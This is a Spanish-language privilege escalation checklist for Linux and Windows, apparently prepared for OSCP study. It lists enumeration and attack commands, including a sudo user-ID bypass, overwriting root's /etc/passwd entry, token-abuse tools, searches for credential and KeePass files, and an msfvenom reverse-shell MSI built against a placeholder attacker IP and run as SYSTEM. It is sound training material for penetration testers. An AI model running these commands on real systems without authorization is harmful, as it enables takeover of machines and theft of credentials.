# Escalada de privilegios

## Linux

### Recursos

* [Checklist de Hacktricks](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)
* [GTFOBins](https://gtfobins.github.io/)
* [Exploits de Kernel compilados](https://github.com/lucyoa/kernel-exploits)

### Vectores de escalada sencillos

**Usuario con credenciales válidas (sudo -l):**

* Ejecutar `sudo -l` para ver qué binarios se pueden ejecutar con `sudo`, consultar [GTFOBins](https://gtfobins.github.io/)
* Ejecutar `sudo -V` para obtener la versión, si es inferior a 1.28, se puede usar `sudo -u#-1 /bin/bash`

**Binarios SUID:**

* Ejecutar `find / -perm -u=s -type f 2>/dev/null`
* Ejecutar `find / -perm -4000 2>/dev/null`
* Consultar [GTFOBins](https://gtfobins.github.io/)

**Exploits de Kernel:**

* Ejecutar `uname -a` && `searchsploit`
* [Exploits de Kernel compilados](https://github.com/lucyoa/kernel-exploits)
* [PwnKit](https://github.com/ly4k/PwnKit/blob/main/PwnKit)

**/etc/passwd con permisos de escritura:**

* Ejecutar `ls -la /etc/passwd` para ver si se tienen permisos de escritura
* Ejecutar `openssl passwd -1 -salt hacker hacker` y reemplazar la entrada de contraseña de `root` (o eliminar `x`)
* Ejecutar `su root` `hacker`

### Checklist

* **Tratamiento de la TTY** si la shell \*\*\*\*si no es interactiva:
  * Ejecutar `python -c 'import pty;pty.spawn("/bin/bash")'`
  * Ejecutar `python -c 'import pty;pty.spawn("/bin/sh")'`
  * Ejecutar `python3 -c 'import pty;pty.spawn("/bin/bash")'`
  * Ejecutar `python3 -c 'import pty;pty.spawn("/bin/sh")'`
  * Alternativa más completa y estable:

    ```bash
    script /dev/null -c bash # Lanza pseudoconsola
    [ctrl+z] # Suspende la shell actual
    stty raw -echo
    fg # Recupera la shell suspendida
    reset # Reinicia la configuración de la terminal
    xterm # Especifica el tipo de terminal
    export TERM=xterm # Asigna xterm a la variable TERM
    export SHELL=bash # Asigna bash a la variable SHELL
    stty rows <VALOR_FILAS> columns <VALOR_COLUMNAS>
    ```
* **Obtener contexto del sistema** usuario actual, nombre de host, grupos
  * Ejecutar `whoami` `id` `hostname`
* **Obtener versión del kernel y buscar vulnerabilidades**
  * Ejecutar `uname -a` && `searchsploit`
* **Verificar sudo (contraseña válida)**
  * Ejecutar `sudo -l` `sudo -V` (por debajo de 1.28 `sudo -u#-1 /bin/bash`)
* **Verificar binarios SUID**
  * Ejecutar `find / -perm -u=s -type f 2>/dev/null`
  * Ejecutar `find / -perm -4000 2>/dev/null`
* **Verificar usuarios y /etc/passwd con permisos de escritura**
  * Ejecutar `ls -la /etc/passwd` / `cat /etc/passwd`
* **Verificar entorno**
  * Ejecutar `echo $PATH` / `(env || set) 2>/dev/null` / `history` / `cat ~/.bashrc`
* **Verificar procesos**
  * Ejecutar `ps aux` / `ps -ef` / `watch -n 1 "ps -aux | grep pass"`
* **Verificar cronjobs**
  * Ejecutar `ls -lah /etc/cron*` / `cat /var/log/syslog | grep cron` / `cat /var/log/cron.log`
  * Ejecutar `grep "CRON" /var/log/syslog` / `ls -la /etc/cron.d` / `ls -la /etc/cron.hourly`
* **Verificar archivos escribibles/utilizables y permisos de archivos**
  * Ejecutar `find / -writable -type d 2>/dev/null`
  * Ejecutar `find / -perm -u=s -type f 2>/dev/null`
  * Ejecutar `ls -la`
* **Verificar redes y servicios en ejecución en localhost**
  * Ejecutar `ip a` / `netstat` / `ss -natup`

### Herramientas automatizadas

* [linPEAS](https://github.com/carlospolop/PEASS-ng/releases/tag/20231008-041e379c)
* [Linux Exploit Suggester](https://github.com/The-Z-Labs/linux-exploit-suggester)

## Windows

### Recursos

* [Abuso de Tokens](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens)
* [Checklist de Hacktricks](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
* <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries>
* <https://github.com/expl0itabl3/Toolies> ← Más binarios compilados

### Vectores de escalada sencillos

**Abuso de Tokens**

* Ejecutar `whoami /priv` >> `SeImpersonatePrivilege`
* Usar `PrintSpoofer` o `GodPotato`
* [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)
* [LocalPotato](https://github.com/decoder-it/LocalPotato)

**Verificar Registro AlwaysInstallElevated**

* Ejecutar `reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated` si devuelve `0x1`, crear un MSI que se ejecutará como SYSTEM
* Ejecutar `msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msi`
* Ejecutar `msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi`

**Credenciales en caché**

* Ejecutar `cmdkey /list`

**Historial de PowerShell**

* Ejecutar `Get-History`
* Ejecutar `(Get-PSReadlineOption).HistorySavePath`
* Ejecutar `type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt`

### Cheat Sheet

* **Obtener contexto, usuarios y grupos**
  * Ejecutar `whoami` `net user` `net group` `whoami /groups`
* **Verificar tokens/privilegios**
  * Ejecutar `whoami /priv` >> `SeImpersonatePrivilege`
* **Verificar claves de registro**
  * Ejecutar `reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated` >> `0x1`
* **Verificar credenciales en caché**
  * Ejecutar `cmdkey /list`
* **Verificar historial de PowerShell**
  * Ejecutar `(Get-PSReadlineOption).HistorySavePath`
* **Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas**
  * Ejecutar `Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}`
* **Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)**
  * Ejecutar `C:\\\\\\\\TEMP\\\\\\\\???` `C:\\\\\\\\Users\\\\\\\\user\\\\\\\\???` `C:\\\\\\\\backup\\\\\\\\???` etc
* **Verificar archivos útiles en el directorio del usuario**
  * Ejecutar `Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue`
  * `.log` `.kdbx` `.xml` cualquier archivo extraño en el directorio del usuario
* **Verificar tareas programadas ejecutadas por niveles superiores**
  * Ejecutar `Get-ScheduledTask` `schtasks /query` `schtasks /query /fo LIST /v`
* **Verificar archivos de base de datos de contraseñas**
  * Ejecutar `Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue`
* **Verificar archivos de configuración**
  * Ejecutar `Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue`
* **Verificar paquetes instalados**
  * Ejecutar `Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname`
  * Ejecutar `Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname`

### Herramientas automatizadas

* [winPEAS](https://github.com/carlospolop/PEASS-ng/releases/tag/20231008-041e379c)
* [SharpUp.exe](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe)
* [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1)

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

**Fuente original:** <https://github.com/intotheewild/OSCP-Checklist>

📝 LinkedIn ⮞ <https://www.linkedin.com/in/david-rodriguez-ramos/>\
▶️ YouTube ⮞ <https://www.youtube.com/c/xerosec>\
🐦 Twitter ⮞ <https://twitter.com/xerosec>\
🔴 Twitch ⮞ [https://www.twitch.tv/xerosec](https://www.twitch.tv/xerosec/)  \
💬 Discord ⮞ <https://discord.gg/E4AjK2XsFm>
